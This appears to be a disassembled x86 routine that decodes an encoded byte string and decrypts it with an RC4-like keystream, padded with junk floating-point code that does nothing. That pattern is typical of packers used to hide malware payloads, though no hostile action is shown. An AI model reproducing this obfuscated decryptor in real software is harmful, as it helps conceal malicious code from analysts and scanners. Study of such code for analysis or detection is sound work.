lea ecx, [ebp - 0x3228]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x3727], dl
mov dword [ebp - 0x5d40], 0x26
cmp dword [ebp - 0x5d40], 2
jle 0x47f222
mov eax, dword [ebp - 0x5d40]
and eax, 1
jne 0x47f222
mov dword [ebp - 0x37dc], 0
mov dword [ebp - 0x41b8], 0
mov ecx, dword [ebp - 0x41b8]
add ecx, 1
mov dword [ebp - 0x41b8], ecx
mov dword [ebp - 0x4ac4], 0
mov edx, dword [ebp - 0x37dc]
shl edx, 1
mov dword [ebp - 0x4ac4], edx
mov dword [ebp - 0x488c], 0
mov eax, dword [ebp - 0x4ac4]
shl eax, 0
add eax, dword [ebp - 0x4e10]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x488c]
mov dword [ebp - 0x488c], ecx
mov dword [ebp - 0x4890], 0
mov edx, dword [ebp - 0x4890]
add edx, 0xe1
mov dword [ebp - 0x4890], edx
mov dword [ebp - 0x4ad0], 0
mov eax, dword [ebp - 0x37dc]
shl eax, 1
add eax, 1
mov dword [ebp - 0x4ad0], eax
movss xmm0, dword [0x9db8a0]
movss dword [ebp - 0x4350], xmm0
movss xmm0, dword [0x9db7e0]
movss dword [ebp - 0x45d4], xmm0
movss xmm0, dword [0x9db6fc]
movss dword [ebp - 0x3ba0], xmm0
movss xmm0, dword [0x9db5d0]
movss dword [ebp - 0x3934], xmm0
movss xmm0, dword [0x9db4c4]
movss dword [ebp - 0x41b4], xmm0
movss xmm0, dword [0x9db388]
movss dword [ebp - 0x3874], xmm0
movss xmm0, dword [ebp - 0x3ba0]
mulss xmm0, dword [ebp - 0x3874]
movss dword [ebp - 0x3ba0], xmm0
movss xmm0, dword [ebp - 0x3934]
subss xmm0, dword [ebp - 0x3874]
movss dword [ebp - 0x3934], xmm0
movss xmm0, dword [ebp - 0x3ba0]
mulss xmm0, dword [ebp - 0x3874]
movss dword [ebp - 0x3ba0], xmm0
movss xmm0, dword [ebp - 0x45d4]
addss xmm0, dword [ebp - 0x3874]
movss dword [ebp - 0x45d4], xmm0
movss xmm0, dword [ebp - 0x3ba0]
addss xmm0, dword [ebp - 0x3874]
movss dword [ebp - 0x3ba0], xmm0
movss xmm0, dword [ebp - 0x4350]
subss xmm0, dword [ebp - 0x3874]
movss dword [ebp - 0x4350], xmm0
movss xmm0, dword [ebp - 0x3ba0]
comiss xmm0, dword [ebp - 0x3874]
jbe 0x47df36
movss xmm0, dword [ebp - 0x3ba0]
mulss xmm0, dword [ebp - 0x3934]
movss dword [ebp - 0x3ba0], xmm0
movss xmm0, dword [ebp - 0x4350]
subss xmm0, dword [ebp - 0x45d4]
movss dword [ebp - 0x4350], xmm0
mov dword [ebp - 0x4894], 0
movss xmm0, dword [ebp - 0x3874]
addss xmm0, dword [ebp - 0x4350]
movss dword [ebp - 0x3874], xmm0
movss xmm0, dword [ebp - 0x3934]
mulss xmm0, dword [ebp - 0x41b4]
movss dword [ebp - 0x3934], xmm0
movss xmm0, dword [ebp - 0x3ba0]
mulss xmm0, dword [ebp - 0x3934]
movss dword [ebp - 0x3ba0], xmm0
movss xmm0, dword [ebp - 0x3874]
addss xmm0, dword [ebp - 0x4350]
movss dword [ebp - 0x3874], xmm0
jmp 0x47e190
movss xmm0, dword [ebp - 0x3ba0]
mulss xmm0, dword [ebp - 0x3934]
movss dword [ebp - 0x3ba0], xmm0
movss xmm0, dword [ebp - 0x3934]
divss xmm0, dword [ebp - 0x41b4]
movss dword [ebp - 0x3934], xmm0
movss xmm0, dword [ebp - 0x4350]
addss xmm0, dword [ebp - 0x45d4]
movss dword [ebp - 0x4350], xmm0
movss xmm0, dword [ebp - 0x3ba0]
subss xmm0, dword [ebp - 0x3934]
movss dword [ebp - 0x3ba0], xmm0
movss xmm0, dword [ebp - 0x3934]
mulss xmm0, dword [ebp - 0x41b4]
movss dword [ebp - 0x3934], xmm0
movss xmm0, dword [ebp - 0x41b4]
mulss xmm0, dword [ebp - 0x3874]
movss dword [ebp - 0x41b4], xmm0
movss xmm0, dword [ebp - 0x3934]
divss xmm0, dword [ebp - 0x41b4]
movss dword [ebp - 0x3934], xmm0
movss xmm0, dword [ebp - 0x3874]
subss xmm0, dword [ebp - 0x4350]
movss dword [ebp - 0x3874], xmm0
movss xmm0, dword [ebp - 0x41b4]
subss xmm0, dword [ebp - 0x3874]
movss dword [ebp - 0x41b4], xmm0
movss xmm0, dword [ebp - 0x3ba0]
mulss xmm0, dword [ebp - 0x3934]
movss dword [ebp - 0x3ba0], xmm0
movss xmm0, dword [ebp - 0x3ba0]
mulss xmm0, dword [ebp - 0x3934]
movss dword [ebp - 0x3ba0], xmm0
movss xmm0, dword [ebp - 0x4350]
addss xmm0, dword [ebp - 0x45d4]
movss dword [ebp - 0x4350], xmm0
movss xmm0, dword [ebp - 0x45d4]
comiss xmm0, dword [ebp - 0x3934]
jbe 0x47e100
movss xmm0, dword [ebp - 0x3874]
subss xmm0, dword [ebp - 0x45d4]
movss dword [ebp - 0x3874], xmm0
movss xmm0, dword [ebp - 0x41b4]
addss xmm0, dword [ebp - 0x4350]
movss dword [ebp - 0x41b4], xmm0
movss xmm0, dword [ebp - 0x3934]
subss xmm0, dword [ebp - 0x3874]
movss dword [ebp - 0x3934], xmm0
movss xmm0, dword [ebp - 0x3934]
addss xmm0, dword [ebp - 0x3874]
movss dword [ebp - 0x3934], xmm0
movss xmm0, dword [ebp - 0x3874]
subss xmm0, dword [ebp - 0x45d4]
movss dword [ebp - 0x3874], xmm0
movss xmm0, dword [ebp - 0x3934]
mulss xmm0, dword [ebp - 0x3874]
movss dword [ebp - 0x3934], xmm0
jmp 0x47e190
movss xmm0, dword [ebp - 0x45d4]
subss xmm0, dword [ebp - 0x3934]
movss dword [ebp - 0x45d4], xmm0
movss xmm0, dword [ebp - 0x3874]
mulss xmm0, dword [ebp - 0x45d4]
movss dword [ebp - 0x3874], xmm0
movss xmm0, dword [ebp - 0x41b4]
addss xmm0, dword [ebp - 0x4350]
movss dword [ebp - 0x41b4], xmm0
movss xmm0, dword [ebp - 0x3874]
divss xmm0, dword [ebp - 0x45d4]
movss dword [ebp - 0x3874], xmm0
movss xmm0, dword [ebp - 0x3ba0]
subss xmm0, dword [ebp - 0x41b4]
movss dword [ebp - 0x3ba0], xmm0
movss xmm0, dword [ebp - 0x41b4]
mulss xmm0, dword [ebp - 0x4350]
movss dword [ebp - 0x41b4], xmm0
mov ecx, dword [ebp - 0x4ad0]
shl ecx, 0
add ecx, dword [ebp - 0x4e10]
movzx edx, byte [ecx]
add edx, dword [ebp - 0x4894]
mov dword [ebp - 0x4894], edx
mov dword [ebp - 0x4898], 0
mov eax, dword [ebp - 0x4898]
add eax, 0xa0
mov dword [ebp - 0x4898], eax
mov dword [ebp - 0x489c], 0
mov ecx, dword [ebp - 0x488c]
sub ecx, dword [ebp - 0x4890]
add ecx, dword [ebp - 0x489c]
mov dword [ebp - 0x489c], ecx
mov dword [ebp - 0x48a0], 0
mov edx, dword [ebp - 0x4894]
sub edx, dword [ebp - 0x4898]
add edx, dword [ebp - 0x48a0]
mov dword [ebp - 0x48a0], edx
mov dword [ebp - 0x4af0], 0
mov eax, dword [ebp - 0x489c]
shl eax, 4
mov dword [ebp - 0x4af0], eax
mov dword [ebp - 0x4aec], 0
mov ecx, dword [ebp - 0x48a0]
mov dword [ebp - 0x4aec], ecx
mov dword [ebp - 0x4ae8], 0
mov edx, dword [ebp - 0x4af0]
or edx, dword [ebp - 0x4aec]
mov dword [ebp - 0x4ae8], edx
mov byte [ebp - 0x37cd], 0
mov al, byte [ebp - 0x4ae8]
mov byte [ebp - 0x37cd], al
mov byte [ebp - 0x37c5], 0
movzx ecx, byte [ebp - 0x3727]
shl ecx, 0
lea edx, [ebp - 0x3228]
mov al, byte [ecx + edx]
mov byte [ebp - 0x37c5], al
movzx ecx, byte [ebp - 0x3641]
shl ecx, 0
lea edx, [ebp - 0x3228]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x3699]
add ecx, eax
mov byte [ebp - 0x3699], cl
mov dl, byte [ebp - 0x3641]
add dl, 1
mov byte [ebp - 0x3641], dl
movzx eax, byte [ebp - 0x3699]
shl eax, 0
lea ecx, [ebp - 0x3228]
movzx edx, byte [ebp - 0x3727]
shl edx, 0
lea esi, [ebp - 0x3228]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movsd xmm0, qword [0x9dafa8]
movsd qword [ebp - 0x5178], xmm0
movsd xmm0, qword [0x9dadc0]
movsd qword [ebp - 0x5af0], xmm0
movsd xmm0, qword [0x9dab88]
movsd qword [ebp - 0x5db4], xmm0
movsd xmm0, qword [0x9da8f8]
movsd qword [ebp - 0x4f04], xmm0
movsd xmm0, qword [0x9da6d0]
movsd qword [ebp - 0x63c4], xmm0
movsd xmm0, qword [0x9da420]
movsd qword [ebp - 0x56c0], xmm0
movsd xmm0, qword [ebp - 0x4f04]
mulsd xmm0, qword [ebp - 0x56c0]
movsd qword [ebp - 0x4f04], xmm0
movsd xmm0, qword [ebp - 0x5178]
mulsd xmm0, qword [ebp - 0x56c0]
movsd qword [ebp - 0x5178], xmm0
movsd xmm0, qword [ebp - 0x4f04]
subsd xmm0, qword [ebp - 0x56c0]
movsd qword [ebp - 0x4f04], xmm0
movsd xmm0, qword [ebp - 0x5178]
mulsd xmm0, qword [ebp - 0x56c0]
movsd qword [ebp - 0x5178], xmm0
movsd xmm0, qword [ebp - 0x4f04]
subsd xmm0, qword [ebp - 0x56c0]
movsd qword [ebp - 0x4f04], xmm0
movsd xmm0, qword [ebp - 0x4f04]
addsd xmm0, qword [ebp - 0x56c0]
movsd qword [ebp - 0x4f04], xmm0
movsd xmm0, qword [ebp - 0x56c0]
comisd xmm0, xmmword [ebp - 0x5178]
jbe 0x47e47e
movsd xmm0, qword [ebp - 0x5af0]
divsd xmm0, qword [ebp - 0x5db4]
movsd qword [ebp - 0x5af0], xmm0
movsd xmm0, qword [ebp - 0x5178]
divsd xmm0, qword [ebp - 0x5af0]
movsd qword [ebp - 0x5178], xmm0
movsd xmm0, qword [ebp - 0x5178]
mulsd xmm0, qword [ebp - 0x5af0]
movsd qword [ebp - 0x5178], xmm0
movsd xmm0, qword [ebp - 0x4f04]
divsd xmm0, qword [ebp - 0x63c4]
movsd qword [ebp - 0x4f04], xmm0
movsd xmm0, qword [ebp - 0x5db4]
subsd xmm0, qword [ebp - 0x4f04]
movsd qword [ebp - 0x5db4], xmm0
movsd xmm0, qword [ebp - 0x5178]
subsd xmm0, qword [ebp - 0x5af0]
movsd qword [ebp - 0x5178], xmm0
jmp 0x47e534
movsd xmm0, qword [ebp - 0x4f04]
addsd xmm0, qword [ebp - 0x56c0]
movsd qword [ebp - 0x4f04], xmm0
movsd xmm0, qword [ebp - 0x5178]
subsd xmm0, qword [ebp - 0x5db4]
movsd qword [ebp - 0x5178], xmm0
movsd xmm0, qword [ebp - 0x5db4]
addsd xmm0, qword [ebp - 0x63c4]
movsd qword [ebp - 0x5db4], xmm0
movsd xmm0, qword [ebp - 0x4f04]
addsd xmm0, qword [ebp - 0x56c0]
movsd qword [ebp - 0x4f04], xmm0
movsd xmm0, qword [ebp - 0x5af0]
mulsd xmm0, qword [ebp - 0x4f04]
movsd qword [ebp - 0x5af0], xmm0
movzx ecx, byte [ebp - 0x3698]
shl ecx, 0
lea edx, [ebp - 0x3228]
movzx eax, byte [ebp - 0x3699]
shl eax, 0
lea esi, [ebp - 0x3228]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movsd xmm0, qword [ebp - 0x56c0]
subsd xmm0, qword [ebp - 0x5af0]
movsd qword [ebp - 0x56c0], xmm0
movzx edx, byte [ebp - 0x3641]
shl edx, 0
lea eax, [ebp - 0x3228]
movzx ecx, byte [ebp - 0x3698]
shl ecx, 0
lea esi, [ebp - 0x3228]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3641]
shl eax, 0
lea ecx, [ebp - 0x3228]
mov dl, byte [ebp - 0x37c5]
mov byte [eax + ecx], dl
movzx eax, byte [ebp - 0x37c5]
shl eax, 0
lea ecx, [ebp - 0x3228]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x37ce]
add eax, edx
mov byte [ebp - 0x37ce], al
movzx ecx, byte [ebp - 0x37cd]
movzx edx, byte [ebp - 0x3699]
shl edx, 0
lea eax, [ebp - 0x3228]
movzx edx, byte [edx + eax]
movzx eax, byte [ebp - 0x3641]
shl eax, 0
lea esi, [ebp - 0x3228]
movzx eax, byte [eax + esi]
add edx, eax
and edx, 0xff
shl edx, 0
lea eax, [ebp - 0x3228]
movzx edx, byte [edx + eax]
xor ecx, edx
movzx eax, byte [ebp - 0x3698]
shl eax, 0
lea edx, [ebp - 0x3228]
movzx eax, byte [eax + edx]
movzx edx, byte [ebp - 0x3727]
shl edx, 0
lea esi, [ebp - 0x3228]
movzx edx, byte [edx + esi]
add eax, edx
movzx edx, byte [ebp - 0x37ce]
shl edx, 0
lea esi, [ebp - 0x3228]
movzx edx, byte [edx + esi]
add eax, edx
and eax, 0xff
shl eax, 0
lea edx, [ebp - 0x3228]
movzx eax, byte [eax + edx]
shl eax, 0
lea edx, [ebp - 0x3228]
movzx eax, byte [eax + edx]
xor ecx, eax
mov byte [ebp - 0x3698], cl
mov cl, byte [ebp - 0x37cd]
mov byte [ebp - 0x3727], cl
mov dl, byte [ebp - 0x3698]
mov byte [ebp - 0x37f4], dl
cmp dword [ebp - 0x37dc], 0
jbe 0x47e67f
mov eax, dword [ebp - 0x37dc]
sub eax, 1
shl eax, 0
lea ecx, [ebp - 0x310c]
mov dl, byte [ebp - 0x37f4]
mov byte [eax + ecx], dl
mov eax, dword [ebp - 0x37dc]
add eax, 1
mov dword [ebp - 0x37dc], eax
mov ecx, dword [ebp - 0x41b8]
add ecx, 1
mov dword [ebp - 0x41b8], ecx
mov edx, dword [ebp - 0x37dc]
shl edx, 1
mov dword [ebp - 0x4ac4], edx
mov eax, dword [ebp - 0x4ac4]
shl eax, 0
add eax, dword [ebp - 0x4e10]
movzx ecx, byte [eax]
mov dword [ebp - 0x488c], ecx
movss xmm0, dword [0x9db8dc]
movss dword [ebp - 0x3d84], xmm0
movss xmm0, dword [0x9db7f4]
movss dword [ebp - 0x3c00], xmm0
movss xmm0, dword [0x9db634]
movss dword [ebp - 0x39c4], xmm0
movss xmm0, dword [0x9db444]
movss dword [ebp - 0x4354], xmm0
movss xmm0, dword [ebp - 0x3d84]
addss xmm0, dword [ebp - 0x4354]
movss dword [ebp - 0x3d84], xmm0
movss xmm0, dword [ebp - 0x39c4]
subss xmm0, dword [ebp - 0x4354]
movss dword [ebp - 0x39c4], xmm0
movss xmm0, dword [ebp - 0x39c4]
subss xmm0, dword [ebp - 0x4354]
movss dword [ebp - 0x39c4], xmm0
movss xmm0, dword [ebp - 0x39c4]
addss xmm0, dword [ebp - 0x4354]
movss dword [ebp - 0x39c4], xmm0
movss xmm0, dword [ebp - 0x3d84]
comiss xmm0, dword [ebp - 0x39c4]
jbe 0x47e7e3
movss xmm0, dword [ebp - 0x39c4]
subss xmm0, dword [ebp - 0x3d84]
movss dword [ebp - 0x39c4], xmm0
movss xmm0, dword [ebp - 0x3c00]
mulss xmm0, dword [ebp - 0x4354]
movss dword [ebp - 0x3c00], xmm0
movss xmm0, dword [ebp - 0x3c00]
subss xmm0, dword [ebp - 0x4354]
movss dword [ebp - 0x3c00], xmm0
mov dword [ebp - 0x4890], 0xe1
movss xmm0, dword [ebp - 0x3d84]
mulss xmm0, dword [ebp - 0x39c4]
movss dword [ebp - 0x3d84], xmm0
jmp 0x47e976
movss xmm0, dword [ebp - 0x39c4]
mulss xmm0, dword [ebp - 0x3d84]
movss dword [ebp - 0x39c4], xmm0
movss xmm0, dword [ebp - 0x3d84]
subss xmm0, dword [ebp - 0x39c4]
movss dword [ebp - 0x3d84], xmm0
movss xmm0, dword [ebp - 0x3c00]
addss xmm0, dword [ebp - 0x4354]
movss dword [ebp - 0x3c00], xmm0
movss xmm0, dword [ebp - 0x4354]
addss xmm0, dword [ebp - 0x3c00]
movss dword [ebp - 0x4354], xmm0
movss xmm0, dword [ebp - 0x3c00]
subss xmm0, dword [ebp - 0x4354]
movss dword [ebp - 0x3c00], xmm0
movss xmm0, dword [ebp - 0x39c4]
addss xmm0, dword [ebp - 0x3d84]
movss dword [ebp - 0x39c4], xmm0
movss xmm0, dword [ebp - 0x39c4]
subss xmm0, dword [ebp - 0x3d84]
movss dword [ebp - 0x39c4], xmm0
movss xmm0, dword [ebp - 0x3c00]
mulss xmm0, dword [ebp - 0x4354]
movss dword [ebp - 0x3c00], xmm0
movss xmm0, dword [ebp - 0x4354]
comiss xmm0, dword [ebp - 0x3c00]
jbe 0x47e916
movss xmm0, dword [ebp - 0x39c4]
mulss xmm0, dword [ebp - 0x4354]
movss dword [ebp - 0x39c4], xmm0
movss xmm0, dword [ebp - 0x3d84]
divss xmm0, dword [ebp - 0x3c00]
movss dword [ebp - 0x3d84], xmm0
movss xmm0, dword [ebp - 0x39c4]
divss xmm0, dword [ebp - 0x4354]
movss dword [ebp - 0x39c4], xmm0
movss xmm0, dword [ebp - 0x3d84]
subss xmm0, dword [ebp - 0x3c00]
movss dword [ebp - 0x3d84], xmm0
jmp 0x47e976
movss xmm0, dword [ebp - 0x3c00]
subss xmm0, dword [ebp - 0x39c4]
movss dword [ebp - 0x3c00], xmm0
movss xmm0, dword [ebp - 0x3d84]
mulss xmm0, dword [ebp - 0x3c00]
movss dword [ebp - 0x3d84], xmm0
movss xmm0, dword [ebp - 0x3d84]
divss xmm0, dword [ebp - 0x3c00]
movss dword [ebp - 0x3d84], xmm0
movss xmm0, dword [ebp - 0x3c00]
subss xmm0, dword [ebp - 0x39c4]
movss dword [ebp - 0x3c00], xmm0
mov edx, dword [ebp - 0x37dc]
shl edx, 1
add edx, 1
mov dword [ebp - 0x4ad0], edx
mov eax, dword [ebp - 0x4ad0]
shl eax, 0
add eax, dword [ebp - 0x4e10]
movzx ecx, byte [eax]
mov dword [ebp - 0x4894], ecx
mov dword [ebp - 0x4898], 0xa0
mov edx, dword [ebp - 0x488c]
sub edx, dword [ebp - 0x4890]
mov dword [ebp - 0x489c], edx
mov eax, dword [ebp - 0x4894]
sub eax, dword [ebp - 0x4898]
mov dword [ebp - 0x48a0], eax
mov ecx, dword [ebp - 0x489c]
shl ecx, 4
mov dword [ebp - 0x4af0], ecx
mov edx, dword [ebp - 0x48a0]
mov dword [ebp - 0x4aec], edx
mov eax, dword [ebp - 0x4af0]
or eax, dword [ebp - 0x4aec]
mov dword [ebp - 0x4ae8], eax
mov cl, byte [ebp - 0x4ae8]
mov byte [ebp - 0x37cd], cl
movzx edx, byte [ebp - 0x3727]
shl edx, 0
lea eax, [ebp - 0x3228]
mov cl, byte [edx + eax]
mov byte [ebp - 0x37c5], cl
movzx edx, byte [ebp - 0x3641]
shl edx, 0
lea eax, [ebp - 0x3228]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x3699]
add edx, ecx
mov byte [ebp - 0x3699], dl
mov al, byte [ebp - 0x3641]
add al, 1
mov byte [ebp - 0x3641], al
movzx ecx, byte [ebp - 0x3699]
shl ecx, 0
lea edx, [ebp - 0x3228]
movzx eax, byte [ebp - 0x3727]
shl eax, 0
lea esi, [ebp - 0x3228]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3698]
shl edx, 0
lea eax, [ebp - 0x3228]
movzx ecx, byte [ebp - 0x3699]
shl ecx, 0
lea esi, [ebp - 0x3228]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3641]
shl eax, 0
lea ecx, [ebp - 0x3228]
movzx edx, byte [ebp - 0x3698]
shl edx, 0
lea esi, [ebp - 0x3228]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3641]
shl ecx, 0
lea edx, [ebp - 0x3228]
mov al, byte [ebp - 0x37c5]
mov byte [ecx + edx], al
movzx ecx, byte [ebp - 0x37c5]
shl ecx, 0
lea edx, [ebp - 0x3228]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x37ce]
add ecx, eax
mov byte [ebp - 0x37ce], cl
movzx edx, byte [ebp - 0x37cd]
movzx eax, byte [ebp - 0x3699]
shl eax, 0
lea ecx, [ebp - 0x3228]
movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp - 0x3641]
shl ecx, 0
lea esi, [ebp - 0x3228]
movzx ecx, byte [ecx + esi]
add eax, ecx
and eax, 0xff
shl eax, 0
lea ecx, [ebp - 0x3228]
movzx eax, byte [eax + ecx]
xor edx, eax
movzx ecx, byte [ebp - 0x3698]
shl ecx, 0
lea eax, [ebp - 0x3228]
movzx ecx, byte [ecx + eax]
movzx eax, byte [ebp - 0x3727]
shl eax, 0
lea esi, [ebp - 0x3228]
movzx eax, byte [eax + esi]
add ecx, eax
movzx eax, byte [ebp - 0x37ce]
shl eax, 0
lea esi, [ebp - 0x3228]
movzx eax, byte [eax + esi]
add ecx, eax
and ecx, 0xff
shl ecx, 0
lea eax, [ebp - 0x3228]
movzx ecx, byte [ecx + eax]
shl ecx, 0
lea eax, [ebp - 0x3228]
movzx ecx, byte [ecx + eax]
xor edx, ecx
mov byte [ebp - 0x3698], dl
mov dl, byte [ebp - 0x37cd]
mov byte [ebp - 0x3727], dl
mov al, byte [ebp - 0x3698]
mov byte [ebp - 0x37f4], al
cmp dword [ebp - 0x37dc], 0
jbe 0x47ebe7
mov ecx, dword [ebp - 0x37dc]
sub ecx, 1
shl ecx, 0
lea edx, [ebp - 0x310c]
mov al, byte [ebp - 0x37f4]
mov byte [ecx + edx], al
mov ecx, dword [ebp - 0x41b8]
add ecx, 8
mov dword [ebp - 0x41b8], ecx
mov edx, dword [ebp - 0x37dc]
add edx, 1
mov dword [ebp - 0x4e0c], edx
jmp 0x47ec16
mov eax, dword [ebp - 0x4e0c]
add eax, 1
mov dword [ebp - 0x4e0c], eax
mov ecx, dword [ebp - 0x4e0c]
cmp ecx, dword [ebp - 0x41b8]
jge 0x47eedf
mov edx, dword [ebp - 0x37dc]
add edx, 1
mov dword [ebp - 0x37dc], edx
mov eax, dword [ebp - 0x37dc]
shl eax, 1
mov dword [ebp - 0x4ac4], eax
mov ecx, dword [ebp - 0x4ac4]
shl ecx, 0
add ecx, dword [ebp - 0x4e10]
movzx edx, byte [ecx]
mov dword [ebp - 0x488c], edx
mov dword [ebp - 0x4890], 0xe1
mov eax, dword [ebp - 0x37dc]
shl eax, 1
add eax, 1
mov dword [ebp - 0x4ad0], eax
mov ecx, dword [ebp - 0x4ad0]
shl ecx, 0
add ecx, dword [ebp - 0x4e10]
movzx edx, byte [ecx]
mov dword [ebp - 0x4894], edx
mov dword [ebp - 0x4898], 0xa0
mov eax, dword [ebp - 0x488c]
sub eax, dword [ebp - 0x4890]
mov dword [ebp - 0x489c], eax
mov ecx, dword [ebp - 0x4894]
sub ecx, dword [ebp - 0x4898]
mov dword [ebp - 0x48a0], ecx
mov edx, dword [ebp - 0x489c]
shl edx, 4
mov dword [ebp - 0x4af0], edx
mov eax, dword [ebp - 0x48a0]
mov dword [ebp - 0x4aec], eax
mov ecx, dword [ebp - 0x4af0]
or ecx, dword [ebp - 0x4aec]
mov dword [ebp - 0x4ae8], ecx
mov dl, byte [ebp - 0x4ae8]
mov byte [ebp - 0x37cd], dl
movzx eax, byte [ebp - 0x3727]
shl eax, 0
lea ecx, [ebp - 0x3228]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x37c5], dl
movzx eax, byte [ebp - 0x3641]
shl eax, 0
lea ecx, [ebp - 0x3228]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x3699]
add eax, edx
mov byte [ebp - 0x3699], al
mov cl, byte [ebp - 0x3641]
add cl, 1
mov byte [ebp - 0x3641], cl
movzx edx, byte [ebp - 0x3699]
shl edx, 0
lea eax, [ebp - 0x3228]
movzx ecx, byte [ebp - 0x3727]
shl ecx, 0
lea esi, [ebp - 0x3228]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3698]
shl eax, 0
lea ecx, [ebp - 0x3228]
movzx edx, byte [ebp - 0x3699]
shl edx, 0
lea esi, [ebp - 0x3228]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3641]
shl ecx, 0
lea edx, [ebp - 0x3228]
movzx eax, byte [ebp - 0x3698]
shl eax, 0
lea esi, [ebp - 0x3228]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3641]
shl edx, 0
lea eax, [ebp - 0x3228]
mov cl, byte [ebp - 0x37c5]
mov byte [edx + eax], cl
movzx edx, byte [ebp - 0x37c5]
shl edx, 0
lea eax, [ebp - 0x3228]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x37ce]
add edx, ecx
mov byte [ebp - 0x37ce], dl
movzx eax, byte [ebp - 0x37cd]
movzx ecx, byte [ebp - 0x3699]
shl ecx, 0
lea edx, [ebp - 0x3228]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x3641]
shl edx, 0
lea esi, [ebp - 0x3228]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0x3228]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x3698]
shl edx, 0
lea ecx, [ebp - 0x3228]
movzx edx, byte [edx + ecx]
movzx ecx, byte [ebp - 0x3727]
shl ecx, 0
lea esi, [ebp - 0x3228]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x37ce]
shl ecx, 0
lea esi, [ebp - 0x3228]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0x3228]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0x3228]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x3698], al
mov al, byte [ebp - 0x37cd]
mov byte [ebp - 0x3727], al
mov cl, byte [ebp - 0x3698]
mov byte [ebp - 0x37f4], cl
cmp dword [ebp - 0x37dc], 0
jbe 0x47eeda
mov edx, dword [ebp - 0x37dc]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0x310c]
mov cl, byte [ebp - 0x37f4]
mov byte [edx + eax], cl
jmp 0x47ec07
mov edx, dword [ebp - 0x41b8]
add edx, 1
mov dword [ebp - 0x41b8], edx
mov eax, dword [ebp - 0x41b8]
add eax, 9
mov dword [ebp - 0x41b8], eax
mov ecx, dword [ebp - 0x37dc]
add ecx, 1
mov dword [ebp - 0x4e0c], ecx
jmp 0x47ef1d
mov edx, dword [ebp - 0x4e0c]
add edx, 1
mov dword [ebp - 0x4e0c], edx
mov eax, dword [ebp - 0x4e0c]
cmp eax, dword [ebp - 0x41b8]
jge 0x47f1e4
mov ecx, dword [ebp - 0x37dc]
add ecx, 1
mov dword [ebp - 0x37dc], ecx
mov edx, dword [ebp - 0x37dc]
shl edx, 1
mov dword [ebp - 0x4ac4], edx
mov eax, dword [ebp - 0x4ac4]
shl eax, 0
add eax, dword [ebp - 0x4e10]
movzx ecx, byte [eax]
mov dword [ebp - 0x488c], ecx
mov dword [ebp - 0x4890], 0xe1
mov edx, dword [ebp - 0x37dc]
shl edx, 1
add edx, 1
mov dword [ebp - 0x4ad0], edx
mov eax, dword [ebp - 0x4ad0]
shl eax, 0
add eax, dword [ebp - 0x4e10]
movzx ecx, byte [eax]
mov dword [ebp - 0x4894], ecx
mov dword [ebp - 0x4898], 0xa0
mov edx, dword [ebp - 0x488c]
sub edx, dword [ebp - 0x4890]
mov dword [ebp - 0x489c], edx
mov eax, dword [ebp - 0x4894]
sub eax, dword [ebp - 0x4898]
mov dword [ebp - 0x48a0], eax
mov ecx, dword [ebp - 0x489c]
shl ecx, 4
mov dword [ebp - 0x4af0], ecx
mov edx, dword [ebp - 0x48a0]
mov dword [ebp - 0x4aec], edx
mov eax, dword [ebp - 0x4af0]
or eax, dword [ebp - 0x4aec]
mov dword [ebp - 0x4ae8], eax
mov cl, byte [ebp - 0x4ae8]
mov byte [ebp - 0x37cd], cl
movzx edx, byte [ebp - 0x3727]
shl edx, 0
lea eax, [ebp - 0x3228]
mov cl, byte [edx + eax]
mov byte [ebp - 0x37c5], cl
movzx edx, byte [ebp - 0x3641]
shl edx, 0
lea eax, [ebp - 0x3228]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x3699]
add edx, ecx
mov byte [ebp - 0x3699], dl
mov al, byte [ebp - 0x3641]
add al, 1
mov byte [ebp - 0x3641], al
movzx ecx, byte [ebp - 0x3699]
shl ecx, 0
lea edx, [ebp - 0x3228]
movzx eax, byte [ebp - 0x3727]
shl eax, 0
lea esi, [ebp - 0x3228]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3698]
shl edx, 0
lea eax, [ebp - 0x3228]
movzx ecx, byte [ebp - 0x3699]
shl ecx, 0
lea esi, [ebp - 0x3228]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3641]
shl eax, 0
lea ecx, [ebp - 0x3228]
movzx edx, byte [ebp - 0x3698]
shl edx, 0
lea esi, [ebp - 0x3228]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3641]
shl ecx, 0
lea edx, [ebp - 0x3228]
mov al, byte [ebp - 0x37c5]
mov byte [ecx + edx], al
